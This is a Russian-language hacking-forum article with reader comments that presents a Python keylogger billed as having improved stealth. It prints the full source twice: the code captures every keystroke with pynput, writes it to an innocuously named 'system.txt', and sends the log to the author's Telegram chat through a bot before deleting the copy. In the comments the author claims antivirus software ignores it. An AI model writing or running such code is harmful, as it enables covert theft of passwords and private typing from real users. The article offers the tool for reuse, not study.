• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Автоматизированный клавиатурный шпион на Python

1605888185600.png

Введение

Данная тема не раз поднималась на форуме, но... как тут не опубликовать свои проекты. Работал над этой темой достаточно не долго, но фокус в том, что это каркас того, что можно модифицировать. Проще говоря используя этот код вы можете добавить свои фичу. А теперь возвращаемся. К чему это все? Многие могут догадаться по заголовку, но я все равно напомню, что здесь мы будем писать свой keylogger с улучшенной скрытностью. Начнем.

Шпионим за клавиатурой

Практики без теории не бывает, поэтому вспомним, что такое keylogger:

Keylogger - вредоносное ПО фиксирующее действия пользователя. В частности движение мыши и вводимый текст с клавиатуры.

Чем же мой шпион отличается от других? Все очень просто, большинство если не все программы, связанные с этой темы (я имею в виду самописные) с языком Python работают в постоянном режиме и без кнопки "Выключить". Проще говоря программа висит в диспетчере задач постоянно, даже если ее уже не используют. Еще одно отличие в том, что я постарался отправлять данные себе в личные сообщения. Так как другие аналоги почему то этого не могут. Сразу скажу что разработка завершена на 50%, поэтому полный результат с программой-создателем вы увидите на моем Github. А пока, что я поделюсь знаниями об этом с вами. Приступаем к написанию.

Мне нужен этот код

Наша работа будет происходить как всегда на PyCharm. Хотел бы осведомить вас перед началом. Данная IDE при создании проекта помещает все модули, что вы используете в \venv\Lib\site-packages. То есть обычная команда pip install модуль вам не поможет. Так же при попытке запуска чужого кода я столкнулся с проблемой установки модулей. Тот же pyHook ставиться достаточно сложно, поэтому я хотел бы показать то, как ставить сторонние модули. Для этого ищем нужный пакет на и скачиваем его. Расположение берем удобное для вас и переходим при помощи команды cd в консоли на папку где лежит скачанный файл. Далее устанавливаем распаковщик командой:
Код:
pip install wheel
И распаковываем наш модуль:
Код:
wheel unpack имя.whl
Дальше полученную папку перемещаем в нужное место. Если ваша IDE PyCharm, то повторюсь вам нужно расположить результат в данном пути, что находится в папке вашего проекта: \venv\Lib\site-packages. Если используется стандартная среда разработки, то модуль помещать следует в путь, находящийся в корневой папки Python: \Lib\site-packages. Объясняю это все, чтобы облегчить вашу дальнейшую разработку. И только теперь мы приступаем к написанию нашей программы. Стартуем как всегда с import:
Python:
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
Далее создаем каркас при помощи парочки строк кода:
Python:
bot = telebot.TeleBot("токен")

keygen = "system.txt"
os.getcwd()
os.chdir(r"ваш_путь ")
# Ну или можно короче: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()    # Записывает данные в журнал
l = logging.StreamHandler()
logging.FileHandler(keygen)        # Файл для записи
l.setLevel(logging.DEBUG)        # Обозначает уровень работы
format = logging.Formatter("%(asctime)s:%(message)s")    # Задает формат записи
l.setFormatter(format)
logger.addHandler(l)    # Начинает запись
Займемся отправкой данных нам в личные сообщения Telegram:
Python:
@bot.message_handler(commands=["start"])
def start_message(message):
    logging.disable(level=logging.CRITICAL)        # Прекращает запись
    shutil.copyfile(r"ваш_путь\system.txt",
                    r"ваш_путь\logfile.txt")    # Копирует файлы
    file = open("ваш_путь\logfile.txt", "rb")
    bot.send_document(message.chat.id, file)    # Отправляет данные и закрывает все
    file.close()
    os.remove("ваш_путь\logfile.txt")    # Удалеяет и останавливает сеанс
    bot.stop_polling()
bot.polling()
Осталось зафиксировать нажатие клавиш при помощи циклов:
Python:
def keypress(Key):
    logging.info(str(Key))
with Listener(on_press=keypress) as listener:
    listener.join()
Теперь можно отдохнуть тк данный код завершен полностью.

Вывод

В данной теме я попытался максимально понятно и доступно рассказать о своей разработке на языке Python. Полные труды будут выложены в другом месте, поэтому остается только оставить полный код программы для вашей доработки и изучения.
Python:
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("токен")
keygen = "system.txt"
os.getcwd()
os.chdir(r"ваш_путь ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
    logging.disable(level=logging.CRITICAL)
    shutil.copyfile(r"ваш_путь\system.txt",
                    r"ваш_путь\logfile.txt")
    file = open("ваш_путь\logfile.txt", "rb")
    bot.send_document(message.chat.id, file)
    file.close()
    os.remove("ваш_путь\logfile.txt")
    bot.stop_polling()
bot.polling()
def keypress(Key):
    logging.info(str(Key))
with Listener(on_press=keypress) as listener:
    listener.join()
 

PavelLeven2

Green Team
16.11.2020
18
11
BIT
0
Как антивирусное ПО относиться к клавиатурным шпионам? Проверяли ли вы свой keylogger на предмет того, как к нему отнесется антивирус?
 
T

to_0day

Как антивирусное ПО относиться к клавиатурным шпионам? Проверяли ли вы свой keylogger на предмет того, как к нему отнесется антивирус?
Оно относится к вирусному ПО, антивирусы никак не реагируют на программу. Игнорируют проще говоря
 
  • Нравится
Реакции: PavelLeven2

Pariah

One Level
22.02.2020
2
1
BIT
0
Если уж начали говорить, про виртуальное окружение питона, то договаривайте. Чтобы поставить пакет обычным pip, нужно сначала, либо "активировать" окружение, либо использовать питон из venv по полному пути.
Например (venv находится в каталоге .\venv):
Bash:
# Активация
#Win:
.\venv\Scripts\Activate.ps1 # (для PS, для cmd имеется activate.bat)
# Linux:
source ./venv/bin/activate

# Ставим пакет в активированное окружение
python -m pip install some_pkg
# или так
pip install some_pkg
Без активации:
Bash:
#Win:
.\venv\Scripts\pip install some_pkg
#Linux:
./venv/bin/pip install some_pkg
 
Последнее редактирование:
  • Нравится
Реакции: f22
T

to_0day

Если уж начали говорить, про виртуальное окружение питона, то договаривайте. Чтобы поставить пакет обычным pip, нужно сначала, либо "активировать" окружение, либо использовать питон из venv по полному пути.
Например (venv находится в каталоге .\venv):
Bash:
# Активация
#Win:
.\venv\Scripts\Activate.ps1 # (для PS, для cmd имеется activate.bat)
# Linux:
source ./venv/bin/activate

# Ставим пакет в активированное окружение
python -m pip install some_pkg
# или так
pip install some_pkg
Без активации:
Bash:
#Win:
.\venv\Scripts\pip install some_pkg
#Linux:
./venv/bin/pip install some_pkg
Учту, но пока что продолжу дописывать keylogger из статьи) (все результаты будут опубликованы на форуме)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!